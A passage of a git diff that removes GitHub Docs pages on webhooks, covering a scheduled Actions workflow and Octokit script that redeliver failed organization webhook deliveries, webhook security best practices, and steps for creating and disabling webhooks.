-## Alternative methods - -This example used {% data variables.product.prodname_actions %} to securely store credentials and to run the script on a schedule. However, if you prefer to run this script on your server that handles webhook deliveries, you can: - -* Store the credentials in another secure manner, such as a secret manager like [Azure key vault](https://azure.microsoft.com/products/key-vault). You will also need to update the script to access the credentials from their new location. -* Run the script on a schedule on your server, for example by using a cron job or task scheduler. -* Update the script to store the last run time somewhere that your server can access and update. If you choose not to store the last run time as a {% data variables.product.prodname_actions %} secret, you can remove the API calls to access and update the configuration variable. diff --git a/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-an-organization-webhook.md b/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-an-organization-webhook.md deleted file mode 100644 index b71fbddb162b..000000000000 --- a/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-an-organization-webhook.md +++ /dev/null @@ -1,349 +0,0 @@ ---- -title: Automatically redelivering failed deliveries for an organization webhook -shortTitle: Automatically redeliver for organization -intro: You can write a script to handle failed deliveries of an organization webhook. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -layout: inline -redirect_from: - - /webhooks/using-webhooks/creating-a-script-to-automatically-redeliver-failed-deliveries-for-an-organization-webhook ---- - -## About automatically redelivering failed deliveries - -This article describes how to write a script to find and redeliver failed deliveries for an organization webhook. For more information about failed deliveries, see [AUTOTITLE](/webhooks/using-webhooks/handling-failed-webhook-deliveries). - -This example shows you: - -* A script that will find and redeliver failed deliveries for an organization webhook -* What credentials your script will need, and how to store the credentials securely as {% data variables.product.prodname_actions %} secrets -* A {% data variables.product.prodname_actions %} workflow that can securely access your credentials and run the script periodically - -This example uses {% data variables.product.prodname_actions %}, but you can also run this script on your server that handles webhook deliveries. For more information, see [Alternative methods](#alternative-methods). - -## Storing credentials for the script - -The built in `GITHUB_TOKEN` does not have sufficient permissions to redeliver webhooks. Instead of using `GITHUB_TOKEN`, this example uses a {% data variables.product.pat_generic %}. Alternatively, instead of creating a {% data variables.product.pat_generic %}, you can create a {% data variables.product.prodname_github_app %} and use the app's credentials to create an installation access token during the {% data variables.product.prodname_actions %} workflow. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). - -1. Create a {% data variables.product.pat_generic %} with the following access. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens). - * For a {% data variables.product.pat_v2 %}: - * Set resource owner to be the organization where your webhook was created - * Grant the token access to the repository where this workflow will run - * Grant the token write access to the organization webhooks permission - * Grant the token write access to the repository variables permission - * For a {% data variables.product.pat_v1 %}, grant the token the `admin:org_hook` and `repo` scope. -1. Store your {% data variables.product.pat_generic %} as a {% data variables.product.prodname_actions %} secret in the repository where you want the workflow to run. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -## Adding a workflow that will run the script - -This section demonstrates how you can use a {% data variables.product.prodname_actions %} workflow to securely access the credentials that you stored in the previous section, set environment variables, and periodically run a script to find and redeliver failed deliveries. - -Copy this {% data variables.product.prodname_actions %} workflow into a YAML file in the `.github/workflows` directory in the repository where you want the workflow to run. Replace the placeholders in the `Run script` step as described below. - -```yaml copy annotate -# -name: Redeliver failed webhook deliveries - -# This workflow runs every 6 hours or when manually triggered. -on: - schedule: - - cron: '15 */6 * * *' - workflow_dispatch: - -# This workflow will use the built in `GITHUB_TOKEN` to check out the repository contents. This grants `GITHUB_TOKEN` permission to do that. -permissions: - contents: read - -# -jobs: - redeliver-failed-deliveries: - name: Redeliver failed deliveries - runs-on: ubuntu-latest - steps: - # This workflow will run a script that is stored in the repository. This step checks out the repository contents so that the workflow can access the script. - - name: Check out repo content - uses: {% data reusables.actions.action-checkout %} - - # This step sets up Node.js. The script that this workflow will run uses Node.js. - - name: Setup Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '18.x' - - # This step installs the octokit library. The script that this workflow will run uses the octokit library. - - name: Install dependencies - run: npm install octokit - - # This step sets some environment variables, then runs a script to find and redeliver failed webhook deliveries. - # - Replace `YOUR_SECRET_NAME` with the name of the secret where you stored your {% data variables.product.pat_generic %}. - # - Replace `YOUR_ORGANIZATION_NAME` with the name of the organization where the webhook was created. - # - Replace `YOUR_HOOK_ID` with the ID of the webhook. - # - Replace `YOUR_LAST_REDELIVERY_VARIABLE_NAME` with the name that you want to use for a configuration variable that will be stored in the repository where this workflow is stored. The name can be any string that contains only alphanumeric characters and `_`, and does not start with `GITHUB_` or a number. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). - {% ifversion ghes %}# - Replace `YOUR_HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - - name: Run script - env: - TOKEN: {% raw %}${{ secrets.YOUR_SECRET_NAME }}{% endraw %} - ORGANIZATION_NAME: 'YOUR_ORGANIZATION_NAME' - HOOK_ID: 'YOUR_HOOK_ID' - LAST_REDELIVERY_VARIABLE_NAME: 'YOUR_LAST_REDELIVERY_VARIABLE_NAME' - {% ifversion ghes %}HOSTNAME: 'YOUR_HOSTNAME'{% endif %} - WORKFLOW_REPO_NAME: {% raw %}${{ github.event.repository.name }}{% endraw %} - WORKFLOW_REPO_OWNER: {% raw %}${{ github.repository_owner }}{% endraw %} - run: | - node .github/workflows/scripts/redeliver-failed-deliveries.js -``` - -## Adding the script - -This section demonstrates how you can write a script to find and redeliver failed deliveries. - -Copy this script into a file called `.github/workflows/scripts/redeliver-failed-deliveries.js` in the same repository where you saved the {% data variables.product.prodname_actions %} workflow file above. - -```javascript copy annotate -// This script uses {% data variables.product.company_short %}'s Octokit SDK to make API requests. For more information, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript). -const { Octokit } = require("octokit"); - -// -async function checkAndRedeliverWebhooks() { - // Get the values of environment variables that were set by the {% data variables.product.prodname_actions %} workflow. - const TOKEN = process.env.TOKEN; - const ORGANIZATION_NAME = process.env.ORGANIZATION_NAME; - const HOOK_ID = process.env.HOOK_ID; - const LAST_REDELIVERY_VARIABLE_NAME = process.env.LAST_REDELIVERY_VARIABLE_NAME; - {% ifversion ghes %}const HOSTNAME = process.env.HOSTNAME;{% endif %} - const WORKFLOW_REPO_NAME = process.env.WORKFLOW_REPO_NAME; - const WORKFLOW_REPO_OWNER = process.env.WORKFLOW_REPO_OWNER; - - // Create an instance of `Octokit` using the token{% ifversion ghes %} and hostname{% endif %} values that were set in the {% data variables.product.prodname_actions %} workflow. - const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: TOKEN, - }); - - try { - // Get the last time that this script ran from the configuration variable. If the variable is not defined, use the current time minus 24 hours. - const lastStoredRedeliveryTime = await getVariable({ - variableName: LAST_REDELIVERY_VARIABLE_NAME, - repoOwner: WORKFLOW_REPO_OWNER, - repoName: WORKFLOW_REPO_NAME, - octokit, - }); - const lastWebhookRedeliveryTime = lastStoredRedeliveryTime || (Date.now() - (24 * 60 * 60 * 1000)).toString(); - - // Record the time that this script started redelivering webhooks. - const newWebhookRedeliveryTime = Date.now().toString(); - - // Get the webhook deliveries that were delivered after `lastWebhookRedeliveryTime`. - const deliveries = await fetchWebhookDeliveriesSince({ - lastWebhookRedeliveryTime, - organizationName: ORGANIZATION_NAME, - hookId: HOOK_ID, - octokit, - }); - - // Consolidate deliveries that have the same globally unique identifier (GUID). The GUID is constant across redeliveries of the same delivery. - let deliveriesByGuid = {}; - for (const delivery of deliveries) { - deliveriesByGuid[delivery.guid] - ? deliveriesByGuid[delivery.guid].push(delivery) - : (deliveriesByGuid[delivery.guid] = [delivery]); - } - - // For each GUID value, if no deliveries for that GUID have been successfully delivered within the time frame, get the delivery ID of one of the deliveries with that GUID. - // - // This will prevent duplicate redeliveries if a delivery has failed multiple times. - // This will also prevent redelivery of failed deliveries that have already been successfully redelivered. - let failedDeliveryIDs = []; - for (const guid in deliveriesByGuid) { - const deliveries = deliveriesByGuid[guid]; - const anySucceeded = deliveries.some( - (delivery) => delivery.status === "OK" - ); - if (!anySucceeded) { - failedDeliveryIDs.push(deliveries[0].id); - } - } - - // Redeliver any failed deliveries. - for (const deliveryId of failedDeliveryIDs) { - await redeliverWebhook({ - deliveryId, - organizationName: ORGANIZATION_NAME, - hookId: HOOK_ID, - octokit, - }); - } - - // Update the configuration variable (or create the variable if it doesn't already exist) to store the time that this script started. - // This value will be used next time this script runs. - await updateVariable({ - variableName: LAST_REDELIVERY_VARIABLE_NAME, - value: newWebhookRedeliveryTime, - variableExists: Boolean(lastStoredRedeliveryTime), - repoOwner: WORKFLOW_REPO_OWNER, - repoName: WORKFLOW_REPO_NAME, - octokit, - }); - - // Log the number of redeliveries. - console.log( - `Redelivered ${ - failedDeliveryIDs.length - } failed webhook deliveries out of ${ - deliveries.length - } total deliveries since ${Date(lastWebhookRedeliveryTime)}.` - ); - } catch (error) { - // If there was an error, log the error so that it appears in the workflow run log, then throw the error so that the workflow run registers as a failure. - if (error.response) { - console.error( - `Failed to check and redeliver webhooks: ${error.response.data.message}` - ); - } - console.error(error); - throw(error); - } -} - -// This function will fetch all of the webhook deliveries that were delivered since `lastWebhookRedeliveryTime`. -// It uses the `octokit.paginate.iterator()` method to iterate through paginated results. For more information, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript#making-paginated-requests). -// -// If a page of results includes deliveries that occurred before `lastWebhookRedeliveryTime`, -// it will store only the deliveries that occurred after `lastWebhookRedeliveryTime` and then stop. -// Otherwise, it will store all of the deliveries from the page and request the next page. -async function fetchWebhookDeliveriesSince({ - lastWebhookRedeliveryTime, - organizationName, - hookId, - octokit, -}) { - const iterator = octokit.paginate.iterator( - "GET /orgs/{org}/hooks/{hook_id}/deliveries", - { - org: organizationName, - hook_id: hookId, - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - } - ); - - const deliveries = []; - - for await (const { data } of iterator) { - const oldestDeliveryTimestamp = new Date( - data[data.length - 1].delivered_at - ).getTime(); - - if (oldestDeliveryTimestamp < lastWebhookRedeliveryTime) { - for (const delivery of data) { - if ( - new Date(delivery.delivered_at).getTime() > lastWebhookRedeliveryTime - ) { - deliveries.push(delivery); - } else { - break; - } - } - break; - } else { - deliveries.push(...data); - } - } - - return deliveries; -} - -// This function will redeliver a failed webhook delivery. -async function redeliverWebhook({ - deliveryId, - organizationName, - hookId, - octokit, -}) { - await octokit.request( - "POST /orgs/{org}/hooks/{hook_id}/deliveries/{delivery_id}/attempts", - { - org: organizationName, - hook_id: hookId, - delivery_id: deliveryId, - } - ); -} - -// This function gets the value of a configuration variable. -// If the variable does not exist, the endpoint returns a 404 response and this function returns `undefined`. -async function getVariable({ variableName, repoOwner, repoName, octokit }) { - try { - const { - data: { value }, - } = await octokit.request( - "GET /repos/{owner}/{repo}/actions/variables/{name}", - { - owner: repoOwner, - repo: repoName, - name: variableName, - } - ); - return value; - } catch (error) { - if (error.status === 404) { - return undefined; - } else { - throw error; - } - } -} - -// This function will update a configuration variable (or create the variable if it doesn't already exist). For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -async function updateVariable({ - variableName, - value, - variableExists, - repoOwner, - repoName, - octokit, -}) { - if (variableExists) { - await octokit.request( - "PATCH /repos/{owner}/{repo}/actions/variables/{name}", - { - owner: repoOwner, - repo: repoName, - name: variableName, - value: value, - } - ); - } else { - await octokit.request("POST /repos/{owner}/{repo}/actions/variables", { - owner: repoOwner, - repo: repoName, - name: variableName, - value: value, - }); - } -} - -// This will execute the `checkAndRedeliverWebhooks` function. -(async () => { - await checkAndRedeliverWebhooks(); -})(); - -``` - -## Testing the script - -You can manually trigger your workflow to test the script. For more information, see [AUTOTITLE](/actions/using-workflows/manually-running-a-workflow) and [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs). - -## Alternative methods - -This example used {% data variables.product.prodname_actions %} to securely store credentials and to run the script on a schedule. However, if you prefer to run this script on your server than handles webhook deliveries, you can: - -* Store the credentials in another secure manner, such as a secret manager like [Azure key vault](https://azure.microsoft.com/products/key-vault). You will also need to update the script to access the credentials from their new location. -* Run the script on a schedule on your server, for example by using a cron job or task scheduler. -* Update the script to store the last run time somewhere that your server can access and update. If you choose not to store the last run time as a {% data variables.product.prodname_actions %} secret, you can remove the API calls to access and update the configuration variable. diff --git a/content/webhooks/using-webhooks/best-practices-for-using-webhooks.md b/content/webhooks/using-webhooks/best-practices-for-using-webhooks.md deleted file mode 100644 index 211f40459c3a..000000000000 --- a/content/webhooks/using-webhooks/best-practices-for-using-webhooks.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Best practices for using webhooks -shortTitle: Best practices -intro: 'Follow these best practices to improve security and performance when using webhooks.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## Subscribe to the minimum number of events - -You should only subscribe to the webhook events that you need. This will reduce the amount of work your server needs to do. For more information about subscribing to events, see [AUTOTITLE](/webhooks/creating-webhooks) and [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks). - -## Use a webhook secret - -> [!WARNING] -> To avoid accidental exposure of sensitive information, do **not** include sensitive information in your payload URL. -> This includes your own API keys and other authentication credentials. Instead, to validate that webhook deliveries were sent by {% data variables.product.github %} and have not been tampered with, use a webhook secret. For more information, see [AUTOTITLE](/webhooks/using-webhooks/validating-webhook-deliveries). - -The webhook secret should be a random string of text with high entropy. You should securely store your webhook secret in a way that your server can access. - -## Use HTTPS and SSL verification - -You should ensure that your server uses an HTTPS connection. By default, {% data variables.product.company_short %} will verify SSL certificates when delivering webhooks. {% data variables.product.company_short %} recommends that you leave SSL verification enabled. - -{% ifversion fpt or ghec %} - -## Allow {% data variables.product.company_short %}'s IP addresses - -You can set up an IP allow list for your server, and add the IP addresses that {% data variables.product.company_short %} uses for webhook deliveries. This can block spoofed requests to your server. - -You can use the `GET /meta` endpoint to find the current list of {% data variables.product.company_short %}'s IP addresses. For more information, see [AUTOTITLE](/rest/meta/meta#get-github-meta-information). {% data variables.product.company_short %} occasionally makes changes to its IP addresses, so you should update your IP allow list periodically. - -For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses). - -{% endif %} - -## Respond within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds - -Your server should respond with a 2XX response within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving a webhook delivery. If your server takes longer than that to respond, then {% data variables.product.company_short %} terminates the connection and considers the delivery a failure. - -In order to respond in a timely manner, you may want to set up a queue to process webhook payloads asynchronously. Your server can respond when it receives the webhook, and then process the payload in the background without blocking future webhook deliveries. For example, you can use services like [Hookdeck](https://hookdeck.com) or libraries like [Resque](https://github.com/resque/resque/) (Ruby), [RQ](http://python-rq.org/) (Python), or [RabbitMQ](http://www.rabbitmq.com/) (Java). - -## Check the event type and action before processing the event - -There are multiple webhook event types, and many events can have multiple action types. {% data variables.product.company_short %} continues to add new event types and new actions to existing event types. Your application should check the event type and action of a webhook payload before processing the payload. To determine the event type, you can use the `X-GitHub-Event` request header. To determine the action type, you can use the top-level `action` key in the event payload. - -## Redeliver missed deliveries - -If your server goes down, you should redeliver missed webhooks once your server is back up. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks). - -## Use the `X-GitHub-Delivery` header - -In a replay attack, a bad actor intercepts a webhook delivery and re-sends the delivery. To protect against replay attacks, you can use the `X-GitHub-Delivery` header to ensure that each delivery is unique per event. - -> [!NOTE] -> If you request a redelivery, the `X-GitHub-Delivery` header will be the same as in the original delivery. - -## Further reading - -* [AUTOTITLE](/rest/guides/best-practices-for-integrators) -* [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app) diff --git a/content/webhooks/using-webhooks/creating-webhooks.md b/content/webhooks/using-webhooks/creating-webhooks.md deleted file mode 100644 index ab1439247578..000000000000 --- a/content/webhooks/using-webhooks/creating-webhooks.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Creating webhooks -shortTitle: Create webhooks -intro: 'You can create webhooks to subscribe to specific events that occur on {% data variables.product.github %}.' -redirect_from: - - /webhooks/creating - - /developers/webhooks-and-events/creating-webhooks - - /developers/webhooks-and-events/webhooks/creating-webhooks - - /webhooks-and-events/webhooks/creating-webhooks - - /webhooks/webhooks/creating-webhooks - - /webhooks/creating-webhooks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About creating webhooks - -You can create webhooks to subscribe to specific events on {% data variables.product.github %} that occur in a repository, organization, {% ifversion ghes or ghec %}{% data variables.product.prodname_enterprise %}, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_marketplace %} account, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_sponsors %} account, {% endif %} or {% data variables.product.prodname_github_app %}. - -For more information about the different types of webhooks, see [AUTOTITLE](/webhooks/types-of-webhooks). - -For a complete list of webhook events, see [AUTOTITLE](/webhooks/webhook-events-and-payloads). - -## Creating a repository webhook - -You can create a webhook to subscribe to events that occur in a specific repository. You must be a repository owner or have admin access in the repository to create webhooks in that repository. - -You can use the {% data variables.product.github %} web interface or the REST API to create a repository webhook. For more information about using the REST API to create a repository webhook, see [AUTOTITLE](/rest/webhooks/repos#create-a-repository-webhook). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.webhooks.sidebar_webhooks %} -{% data reusables.webhooks.add_webhook_button %} -1. Under "Payload URL", type the URL where you'd like to receive payloads. -{% data reusables.webhooks.content_type_and_secret %} -1. Under "Which events would you like to trigger this webhook?", select the webhook events that you want to receive. You should only subscribe to the webhook events that you need. -1. If you chose **Let me select individual events**, select the events that you want to trigger the webhook. -1. To make the webhook active immediately after adding the configuration, select **Active**. -{% data reusables.webhooks.add_webhook_button %} - -After you create a new webhook, {% data variables.product.github %} will send you a simple `ping` event to let you know you've set up the webhook correctly. For more information, see [AUTOTITLE](/webhooks/webhook-events-and-payloads#ping). - -## Creating an organization webhook - -You can create a webhook to subscribe to events that occur in a specific organization. You must be an organization owner to create webhooks in that organization. - -You can use the {% data variables.product.github %} web interface or the REST API to create an organization webhook. For more information about using the REST API to create an organization webhook, see [AUTOTITLE](/rest/orgs/webhooks#create-an-organization-webhook). - -1. In the upper-right corner of any page on {% data variables.product.github %}, click your profile photo. -1. Click **Your organizations**. -1. To the right of the organization, click **Settings**. -{% data reusables.webhooks.sidebar_webhooks %} -{% data reusables.webhooks.add_webhook_button %} -1. Under "Payload URL", type the URL where you'd like to receive payloads. -{% data reusables.webhooks.content_type_and_secret %} -1. Under "Which events would you like to trigger this webhook?", select the types of webhooks you'd like to receive. You should only subscribe to the webhook events that you need. -1. If you chose **Let me select individual events**, select the events that will trigger the webhook. -1. To make the webhook active immediately after adding the configuration, select **Active**. -1. Click **Add webhook**. - -After you create a new webhook, {% data variables.product.github %} will send you a simple `ping` event to let you know you've set up the webhook correctly. For more information, see [AUTOTITLE](/webhooks/webhook-events-and-payloads#ping). - -{% ifversion ghes or ghec %} - -## Creating a global webhook for a {% data variables.product.prodname_enterprise %} - -Enterprise owners can create a global webhook to subscribe to events that occur within their enterprise. - -{% ifversion ghes %} - -You can use the {% data variables.product.company_short %} web interface or the REST API to create a global webhook. For more information about using the REST API to create a global webhook, see [AUTOTITLE](/rest/enterprise-admin/global-webhooks). - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -{% data reusables.webhooks.add_webhook_button %} -1. In the "Payload URL" field, type the URL where you'd like to receive payloads. -{% data reusables.webhooks.content_type_and_secret %} -1. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, under "SSL verification", select **Disable**. Read the information about SSL verification, then click **Disable, I understand my webhooks may not be secure**. - - > [!WARNING] - > SSL verification helps ensure that hook payloads are delivered securely. We do not recommend disabling SSL verification. - -1. Under "Which events would you like to trigger this webhook?", select the types of webhooks you'd like to receive. You should only subscribe to the webhook events that you need. -1. If you chose **Let me select individual events**, select the events that will trigger the webhook. -1. To make the webhook active immediately after adding the configuration, select **Active**. -{% data reusables.webhooks.add_webhook_button %} - -{% endif %} - -{% ifversion fpt or ghec %} - -## Creating a {% data variables.product.prodname_marketplace %} webhook - -You can create a webhook to subscribe to events relating to an app that you published in {% data variables.product.prodname_marketplace %}. Only the owner of the app, or an app manager for the organization that owns the app, can create a {% data variables.product.prodname_marketplace %} webhook. - -1. Navigate to your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). -1. Next to the {% data variables.product.prodname_marketplace %} listing that you want to view webhook deliveries for, click **Manage listing**. -1. In the sidebar, click **Webhook**. -1. Under "Payload URL", type the URL where you'd like to receive payloads. -{% data reusables.webhooks.content_type_and_secret %} -1. To make the webhook active immediately after adding the configuration, select **Active**. -1. Click **Create webhook**. - -After you create a new webhook, {% data variables.product.github %} will send you a simple `ping` event to let you know you've set up the webhook correctly. For more information, see [AUTOTITLE](/webhooks/webhook-events-and-payloads#ping). - -## Creating a {% data variables.product.prodname_sponsors %} webhook - -You can create a webhook to subscribe to events relating to your sponsorships. Only the owner of the sponsored account can create sponsorship webhooks for that account. For more information about the event that a sponsorship webhook is subscribed to, see the [`sponsorship` webhook event](/webhooks-and-events/webhooks/webhook-events-and-payloads#sponsorship). - -1. In the upper-right corner of any page, click your profile photo, then click **Your sponsors**. -1. Next to the account you want to create a webhook for, click **Dashboard**. -1. In the left sidebar, click **Webhooks**. -{% data reusables.webhooks.add_webhook_button %} -1. Under "Payload URL", type the URL where you'd like to receive payloads. -{% data reusables.webhooks.content_type_and_secret %} -1. To make the webhook active immediately after adding the configuration, select **Active**. -1. Click **Create webhook**. - -{% endif %} - -## Creating webhooks for a {% data variables.product.prodname_github_app %} - -The owner of a {% data variables.product.prodname_github_app %} can subscribe the app to webhook events to receive notifications whenever certain events occur. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also subscribe the app to webhook events. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps). - -Each {% data variables.product.prodname_github_app %} has one webhook. You can configure the webhook when you register a {% data variables.product.prodname_github_app %}, or you can edit the webhook configuration for an existing {% data variables.product.prodname_github_app %} registration. - -For more information about configuring a webhook when you register a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/registering-a-github-app). - -To configure a webhook for an existing {% data variables.product.prodname_github_app %} registration: - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to configure the webhook for, click **Edit**. -1. Under "Webhook," select **Active**. -1. Under "Webhook URL", type the URL where you'd like to receive payloads. -1. Optionally, under "Webhook secret", type a string to use as a `secret` key. You should choose a random string of text with high entropy. You can use the webhook secret to limit incoming requests to only those originating from {% data variables.product.github %}. For more information, see [AUTOTITLE](/webhooks/using-webhooks/securing-your-webhooks). -1. Click **Save changes**. -1. In the sidebar, click **Permissions & events**. -1. {% data reusables.apps.webhooks-and-apps %} - - Under the sections "Repository permissions," "Organization permissions," and "Account permissions," select the permissions that are required for the events your app will subscribe to. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/choosing-permissions-for-a-github-app). For more information about things to consider when changing the permissions, see [Modifying a {% data variables.product.prodname_github_app %} registration](/apps/maintaining-github-apps/modifying-a-github-app-registration#changing-the-permissions-of-a-github-app). -1. Under "Subscribe to Events," select the webhook events you would like your {% data variables.product.prodname_github_app %} to receive. -1. Click **Save changes**. - -You can also use the REST API to create a webhook for a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/rest/apps/webhooks). - -## Further reading - -* [AUTOTITLE](/webhooks/about-webhooks) -* [AUTOTITLE](/webhooks/using-webhooks/handling-webhook-deliveries) diff --git a/content/webhooks/using-webhooks/delivering-webhooks-to-private-systems.md b/content/webhooks/using-webhooks/delivering-webhooks-to-private-systems.md deleted file mode 100644 index 7c3a63c598fb..000000000000 --- a/content/webhooks/using-webhooks/delivering-webhooks-to-private-systems.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Delivering webhooks to private systems -intro: 'In order to limit exposure of your private system to the internet, you can use a reverse proxy to forward webhooks from {% data variables.product.company_short %} to your private system.' -shortTitle: Deliver to private systems -versions: - fpt: '*' - ghec: '*' -topics: - - Webhooks ---- -## About integrating with private systems via reverse proxy - -You may want to deliver {% data variables.product.company_short %} webhooks to private systems that are not directly accessible from the internet, such as CI systems, work management tools, and custom apps. You can use a reverse proxy to receive webhook payloads from {% data variables.product.company_short %} and deliver them to the your private system. - -A reverse proxy is a web server that sits between a client and an application. The reverse proxy receives requests from the client and forwards them to the application. This ensures no direct communication occurs between clients on the internet and the underlying application. A variety of systems can serve a reverse proxy, including: - -* Web servers, like [nginx](https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/) -* API gateways -* Free, open-source overlay networks, like [OpenZiti](https://openziti.io) -* Commercial ingress management tools, like [ngrok](https://ngrok.com/partners/github) -* Free, open-source ingress management tools, like [zrok](https://zrok.io) - -How you configure your reverse proxy varies based on the system you're using. - -## Securing traffic to your reverse proxy - -When deploying a reverse proxy, you should follow all practices recommended by your reverse proxy provider to secure the underlying proxy server. Additionally, you should take the following steps to verify that only requests from {% data variables.product.company_short %} are forwarded to your application. - -### Limiting inbound traffic to {% data variables.product.company_short %} webhooks - -You should configure your reverse proxy to only allow HTTPS POST requests from the subset of {% data variables.product.github %} IP ranges that are used to deliver webhooks. This ensures that your reverse proxy does not process or forward other requests. - -The [`/meta` endpoint](/rest/meta/meta#get-github-meta-information) returns a JSON object listing GitHub's IP ranges. IP ranges used to deliver webhooks are listed in the `hooks` element. - -### Validating webhook payloads - -If your webhook is configured with a secret token, {% data variables.product.github %} will include a cryptographic hash of each webhook payload. You should use this hash to validate the payload received from {% data variables.product.github %} before any action is taken by your private system. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/securing-your-webhooks). - -You can implement payload validation either on the reverse proxy or on your private system. diff --git a/content/webhooks/using-webhooks/disabling-webhooks.md b/content/webhooks/using-webhooks/disabling-webhooks.md deleted file mode 100644 index d2031fa79a1e..000000000000 --- a/content/webhooks/using-webhooks/disabling-webhooks.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Disabling webhooks -shortTitle: Disable webhooks -intro: 'You can disable a webhook to unsubscribe from events that occur on {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About disabling webhooks - -{% ifversion fpt %}You can disable a webhook that was previously enabled for a repository, organization, {% data variables.product.prodname_marketplace %} account, {% data variables.product.prodname_sponsors %} account, or {% data variables.product.prodname_github_app %}.{% endif %} - -{% ifversion ghec %}You can disable a webhook that was previously enabled for a repository, organization, {% data variables.product.prodname_enterprise %}, {% data variables.product.prodname_marketplace %} account, {% data variables.product.prodname_sponsors %} account, or {% data variables.product.prodname_github_app %}.{% endif %} - -{% ifversion ghes %}You can disable a webhook that was previously enabled for a repository, organization, {% data variables.product.prodname_enterprise %}, or {% data variables.product.prodname_github_app %}.{% endif %} - -To disable a webhook, you can choose to deactivate or delete it. When you deactivate a webhook, the webhook deliveries will stop, and you can choose to reactivate the webhook at a later time. When you delete a webhook, it cannot be restored. - -For more information, see [AUTOTITLE](/webhooks/about-webhooks) and [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks). - -## Disabling a repository webhook - -To disable a repository webhook, you can deactivate or delete it. You must be a repository owner, or have admin access in the repository, to disable webhooks. - -You can use the {% data variables.product.github %} web interface or the REST API to delete a webhook for a repository. For more information about using the REST API to delete a repository webhook, see [AUTOTITLE](/rest/webhooks/repos#delete-a-repository-webhook). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.webhooks.sidebar_webhooks %} -{% data reusables.webhooks.disable_webhook %} - -## Disabling an organization webhook - -To disable an organization webhook, you can deactivate or delete it. Only organization owners can disable webhooks in an organization. - -You can use the {% data variables.product.github %} web interface or the REST API to delete an organization webhook. For more information about using the REST API to delete an organization webhook, see [AUTOTITLE](/rest/orgs/webhooks#delete-an-organization-webhook). - -1. In the upper-right corner of any page on {% data variables.product.github %}, click your profile photo. -1. Click **Your organizations**. -1. To the right of the organization, click **Settings**. -{% data reusables.webhooks.sidebar_webhooks %} -{% data reusables.webhooks.disable_webhook %} - -{% ifversion ghec or ghes %} - -## Disabling a global webhook for a {% data variables.product.prodname_enterprise %} - -Enterprise owners can disable a global webhook in an {% data variables.product.prodname_enterprise %}. - -{% ifversion ghes %} - -You can use the {% data variables.product.company_short %} web interface or the REST API to disable a global webhook. For more information about using the REST API to disable a global webhook, see [AUTOTITLE](/rest/enterprise-admin/global-webhooks). - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -{% data reusables.webhooks.disable_webhook %} - -{% endif %} - -{% ifversion fpt or ghec %} - -## Disabling a {% data variables.product.prodname_marketplace %} webhook - -You can deactivate a webhook that was previously enabled for events relating to an app that you published on {% data variables.product.prodname_marketplace %}. You cannot delete the webhook. Only the owner of the app can deactivate the {% data variables.product.prodname_marketplace %} webhook for the app. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also deactivate the {% data variables.product.prodname_marketplace %} webhook. - -1. 